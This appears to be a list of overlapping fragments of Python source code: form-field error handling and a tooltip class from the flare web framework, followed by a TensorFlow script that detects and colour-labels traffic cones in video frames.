"( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]:",
"boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class for providing tooltips \"\"\"",
"(error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"])",
"from typing import List, Tuple #from flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon",
"= True # ToDO Field dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"] =",
"][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def checkErrors(bone)",
"]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool,",
"through this bone ''' errors = bone[\"errors\"] #no errors for this bone if",
"invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if not invalidatedFields: return False, list() return",
"import SvgIcon from flare.i18n import translate from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure):",
"self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self): return False #Not used def buildBoneErrors(errorList):",
"thisError = error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][ 1: ] if",
"thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][ 1: ] if error[ \"fieldPath\" ]",
"[] for error in errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey:",
"shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"] =",
"list of fields which are invalid through this bone ''' errors = bone[\"errors\"]",
"#language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\")",
"\"fieldPath\" ][ 1: ] if error[ \"fieldPath\" ] and error[ \"fieldPath\" ][ 0",
"error[\"fieldPath\"][0] == currentKey: isError = False if (error[\"severity\"] == 0 or error[\"severity\"] ==",
"== ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) #",
"or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError = False if (error[\"severity\"]",
"= 1 Empty = 2 Invalid = 3 ''' boneErrors = [] for",
"(error[\"severity\"] == 0 or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError = True elif",
"self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self,",
"a shortcut to test if bone is valid or not second returns a",
"def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return value is a shortcut to",
"def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__( *args, **kwargs )",
"import translate from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet =",
"== currentKey: isError = False if (error[\"severity\"] == 0 or error[\"severity\"] == 2)",
"flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther =",
"value is a shortcut to test if bone is valid or not second",
"for error in errorList: thisError = error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\"",
"for this bone if not errors: return False, list() invalidatedFields = list() isInvalid",
"list() isInvalid = True for error in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty",
"a list of fields which are invalid through this bone ''' errors =",
"= 3 ''' boneErrors = [] for error in errorList or []: if",
"error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class",
"True # ToDO Field dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:]",
"is valid or not second returns a list of fields which are invalid",
"== 2) and boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3: isError = True",
"): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if not invalidatedFields: return",
"Small utility class for providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs):",
"_getDisabled(self): return False #Not used def buildBoneErrors(errorList): boneErrors = {} for error in",
"isInvalid = True for error in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and",
"this bone ''' errors = bone[\"errors\"] #no errors for this bone if not",
"providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__(",
"self ).__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\")",
"''' first return value is a shortcut to test if bone is valid",
"translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\") def",
"error[\"severity\"] == 2) and boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3: isError =",
"= shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div",
"{} for error in errorList: thisError = error.copy() thisError[ \"fieldPath\" ] = error[",
"error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError = False if (error[\"severity\"] == 0 or",
"</div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" ) def",
"errors = bone[\"errors\"] #no errors for this bone if not errors: return False,",
"bone if not errors: return False, list() invalidatedFields = list() isInvalid = True",
"*args, **kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon(",
"list() invalidatedFields = list() isInvalid = True for error in errors: if (",
"Tuple[bool, List[str]]: ''' first return value is a shortcut to test if bone",
"#from flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n import translate from",
"bone[\"errors\"] #no errors for this bone if not errors: return False, list() invalidatedFields",
"thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class for",
"tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__( *args,",
"boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return value is a shortcut",
"= \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText",
"from flare.icons import SvgIcon from flare.i18n import translate from flare import html5 def",
"in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther)",
"__init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"]",
"] = error[ \"fieldPath\" ][ 1: ] if error[ \"fieldPath\" ] and error[",
"[]: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError = False if (error[\"severity\"] ==",
"collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther = 1 Empty = 2",
"thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small",
"= error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class for providing",
"def _setDisabled(self, disabled): return def _getDisabled(self): return False #Not used def buildBoneErrors(errorList): boneErrors",
"errorList: thisError = error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][ 1: ]",
"-> Tuple[bool, List[str]]: ''' first return value is a shortcut to test if",
"shortcut to test if bone is valid or not second returns a list",
"not errors: return False, list() invalidatedFields = list() isInvalid = True for error",
"Tuple #from flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n import translate",
"][ 1: ] if error[ \"fieldPath\" ] and error[ \"fieldPath\" ][ 0 ]",
"= list() isInvalid = True for error in errors: if ( (error[\"severity\"] ==",
"self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\"",
"== ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if not",
"return False, list() invalidatedFields = list() isInvalid = True for error in errors:",
"\"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText )",
"ToolTipError(html5.Div): \"\"\" Small utility class for providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\",",
"msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText ) )",
") #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div>",
"bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only",
"is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div",
"invalidatedFields = list() isInvalid = True for error in errors: if ( (error[\"severity\"]",
"in errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError = False",
"onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self): return False #Not used",
"used def buildBoneErrors(errorList): boneErrors = {} for error in errorList: thisError = error.copy()",
"\"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__( *args, **kwargs",
"boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return",
"self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title =",
"self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\">",
") def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self): return False",
"errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError = False if",
"class ToolTipError(html5.Div): \"\"\" Small utility class for providing tooltips \"\"\" def __init__(self, shortText=\"\",",
"import ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n import translate from flare import",
"def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther = 1 Empty =",
"import List, Tuple #from flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n",
"\"fieldPath\" ] = error[ \"fieldPath\" ][ 1: ] if error[ \"fieldPath\" ] and",
"import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther = 1",
"error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class for providing tooltips",
"error[ \"fieldPath\" ][ 0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]})",
"[name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" )",
"boneErrors = {} for error in errorList: thisError = error.copy() thisError[ \"fieldPath\" ]",
"test if bone is valid or not second returns a list of fields",
"class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\")",
"= {} for error in errorList: thisError = error.copy() thisError[ \"fieldPath\" ] =",
"flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n import translate from flare",
"super( ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error is-active",
"[name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\",",
"''' severity: NotSet = 0 InvalidatesOther = 1 Empty = 2 Invalid =",
"and error[ \"fieldPath\" ][ 0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1",
"error[ \"fieldPath\" ] and error[ \"fieldPath\" ][ 0 ] not in boneErrors: boneErrors.update({error[",
"longText=\"\", *args, **kwargs): super( ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip",
"**kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\",",
"False if (error[\"severity\"] == 0 or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError =",
"is a shortcut to test if bone is valid or not second returns",
"not second returns a list of fields which are invalid through this bone",
"''' boneErrors = [] for error in errorList or []: if error[\"fieldPath\"] and",
"isError = True # ToDO Field dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"]",
"self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML",
"2 Invalid = 3 ''' boneErrors = [] for error in errorList or",
"if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if",
"not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1",
"and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found",
"\"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def",
"boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3: isError = True # ToDO Field",
"error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if not invalidatedFields: return False, list()",
"shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\"",
"3 ''' boneErrors = [] for error in errorList or []: if error[\"fieldPath\"]",
"ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We",
"2) and boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3: isError = True #",
"**kwargs): super( ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error",
"]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return value is",
"\"fieldPath\" ] and error[ \"fieldPath\" ][ 0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\"",
"= True for error in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"])",
"0 InvalidatesOther = 1 Empty = 2 Invalid = 3 ''' boneErrors =",
"typing import List, Tuple #from flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon from"
] |
[
"marty mcfly imports from __future__ import absolute_import # third-party imports from nacelle.core.template.renderers import",
"def render_email(template, context=None): \"\"\"Uses Jinja2 to render the email \"\"\" if context is",
"\"\"\" # marty mcfly imports from __future__ import absolute_import # third-party imports from",
"imports from __future__ import absolute_import # third-party imports from nacelle.core.template.renderers import render_jinja2_template def",
"used to render and send emails \"\"\" # marty mcfly imports from __future__",
"send emails \"\"\" # marty mcfly imports from __future__ import absolute_import # third-party",
"mcfly imports from __future__ import absolute_import # third-party imports from nacelle.core.template.renderers import render_jinja2_template",
"# marty mcfly imports from __future__ import absolute_import # third-party imports from nacelle.core.template.renderers",
"Jinja2 to render the email \"\"\" if context is None: context = {}",
"\"\"\"Uses Jinja2 to render the email \"\"\" if context is None: context =",
"render and send emails \"\"\" # marty mcfly imports from __future__ import absolute_import",
"email \"\"\" if context is None: context = {} email_body = render_jinja2_template(template, context)",
"absolute_import # third-party imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2",
"the email \"\"\" if context is None: context = {} email_body = render_jinja2_template(template,",
"context=None): \"\"\"Uses Jinja2 to render the email \"\"\" if context is None: context",
"third-party imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to render",
"import absolute_import # third-party imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses",
"\"\"\" if context is None: context = {} email_body = render_jinja2_template(template, context) return",
"from __future__ import absolute_import # third-party imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template,",
"to render the email \"\"\" if context is None: context = {} email_body",
"<filename>nacelle/contrib/mail/utils.py<gh_stars>0 \"\"\"Utilities used to render and send emails \"\"\" # marty mcfly imports",
"nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to render the email \"\"\"",
"emails \"\"\" # marty mcfly imports from __future__ import absolute_import # third-party imports",
"if context is None: context = {} email_body = render_jinja2_template(template, context) return email_body",
"render_email(template, context=None): \"\"\"Uses Jinja2 to render the email \"\"\" if context is None:",
"to render and send emails \"\"\" # marty mcfly imports from __future__ import",
"# third-party imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to",
"and send emails \"\"\" # marty mcfly imports from __future__ import absolute_import #",
"imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to render the",
"render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to render the email \"\"\" if context",
"render the email \"\"\" if context is None: context = {} email_body =",
"from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to render the email",
"\"\"\"Utilities used to render and send emails \"\"\" # marty mcfly imports from",
"import render_jinja2_template def render_email(template, context=None): \"\"\"Uses Jinja2 to render the email \"\"\" if",
"__future__ import absolute_import # third-party imports from nacelle.core.template.renderers import render_jinja2_template def render_email(template, context=None):"
] |
[
"classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections)",
"cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result == 1: print(\"Blue Cone\")",
"scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization",
"boxes [ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores) width =",
"ymax, xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1] height =",
"with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount: ret, image_np = cap.read()",
"detection. # Definition of boxes [ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes) scores",
"to check point and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT",
"= int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000 with detection_graph.as_default():",
"1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while",
"score represent how level of confidence for each of the objects. # Score",
"fy=0.5) #image_np = processFrame.image # Expand dimensions since the model expects images to",
"0.5 #Set path to check point and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT",
"None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box",
"map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt'",
"class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual",
"image_np[y:y+h, x:x+w] # if count % (2*fps) == 0: # # Save the",
"#image_np = processFrame.image # Expand dimensions since the model expects images to have",
"height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] *",
"image_np.shape[1] height = image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img = image_np.copy() for",
"object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of",
"tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories)",
"(255, 0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX,",
"no, of classes NUM_CLASSES = 1 #only one class, i.e. cone ## Load",
"= label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following videos:",
"#from ConeDetection import * from cone_img_processing2 import * import os # Set threshold",
"config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount: ret, image_np = cap.read() if ret",
"cv2 import numpy as numpy import tensorflow as tflow from utils import label_map_util",
"= detectCone1(candidate) # print(result) if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] *",
"'blue cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2,",
"0, 0), 2, cv2.LINE_AA) if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] *",
"threshold_cone: continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x =",
"frameCount: ret, image_np = cap.read() if ret == True: count = count +",
"have shape: [1, None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')",
"Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor:",
"of the results of a detection. # Definition of boxes [ymin, xmin, ymax,",
"= './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES",
"or scores[i] < threshold_cone: continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height =",
"str(img_number) + '.jpg', candidate) # img_number = img_number + 1 y = y",
"def mainLoop(): # Try the following videos: # 20180619_175221224 # shade to brightness",
"0 img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options))",
"detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded})",
"height = image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img = image_np.copy() for i",
"+ '.jpg', candidate) # img_number = img_number + 1 y = y +",
"print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255, 0, 0), 7)",
"# img_number = img_number + 1 y = y + 1 z =",
"name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options",
"use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the",
"#Set path to check point and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT =",
"# Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) #",
"confidence for each of the objects. # Score is shown on the result",
"videos: # 20180619_175221224 # shade to brightness # 20180619_180755490 # towards sun #",
"in range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i] < threshold_cone: continue b =",
"np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y = int(b[0] * height) h =",
"< frameCount: ret, image_np = cap.read() if ret == True: count = count",
"if ret == True: count = count + 1 # image_np = cv2.resize(processFrame.image,",
"of cone for object detector threshold_cone = 0.5 #Set path to check point",
"* height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result == 1:",
"True: count = count + 1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5)",
"with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map =",
"dimensions since the model expects images to have shape: [1, None, None, 3]",
"fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph)",
"ret == True: count = count + 1 # image_np = cv2.resize(processFrame.image, (0,0),",
"255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1,",
"* height) w = int(box_width * width) candidate = image_np[y:y+h, x:x+w] # if",
"y = y + 1 z = 0 result = detectCone1(candidate) # print(result)",
"max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try",
"= cap.read() if ret == True: count = count + 1 # image_np",
"#only one class, i.e. cone ## Load a (frozen) Tensorflow model into memory.",
"processFrame.image # Expand dimensions since the model expects images to have shape: [1,",
"boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y",
"detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes,",
"= image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img = image_np.copy() for i in",
"width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\",",
"image, together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections",
"'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories",
"detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of confidence for each of the",
"# shade to brightness # 20180619_180755490 # towards sun # 20180619_180515860 # away",
"cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0,",
"'yellow cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2,",
"7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0,",
"classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of",
"cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)",
"width, height = cv2.GetSize(image_np) output_img = image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i]",
